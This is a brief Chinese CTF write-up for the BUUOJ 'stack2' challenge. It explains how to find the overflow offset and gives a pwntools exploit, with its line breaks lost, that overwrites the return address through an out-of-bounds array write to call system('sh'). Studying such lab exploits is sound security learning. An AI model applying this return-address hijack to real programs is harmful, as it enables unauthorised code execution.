

这两个地方是存在溢出的,这个溢出偏移我们要怎么找呢?

这个偏移可以怎么得到呢?
一种方法就是我们直接输入数据然后去栈上找,我在看别人博客的时候发现还有一种方式
因为c语音的数组在一开始就已经搞好
我们在ida种
这样去找,虽然在gdb可以直接看,但是这样也是一种方法
我们看到文中的shell
不是bin/sh
所以这个后门函数等于没用
from pwn import *context.log_level = 'debug'context.arch = 'amd64'offest = 132io = process("./stack2")io = remote("node4.buuoj.cn",29777)elf = ELF("./stack2")system_plt = 0x08048450sh_addr = 0x08048987def change(addr,number):io.recvuntil("5. exit")io.sendline("3")io.recvuntil("which number to change:")io.sendline(str(addr))io.recvuntil("new number:")io.sendline(str(number))io.recvuntil("How many numbers you have:")io.sendline("1")io.recvuntil("Give me your numbers")io.sendline("2")change(offest,0x50)change(offest+1,0x84)change(offest+2,0x04)change(offest+3,0x08)change(offest+8,0x87)change(offest+9,0x89)change(offest+10,0x04)change(offest+11,0x08)io.recvuntil("5. exit")io.sendline("5")io.interactive()
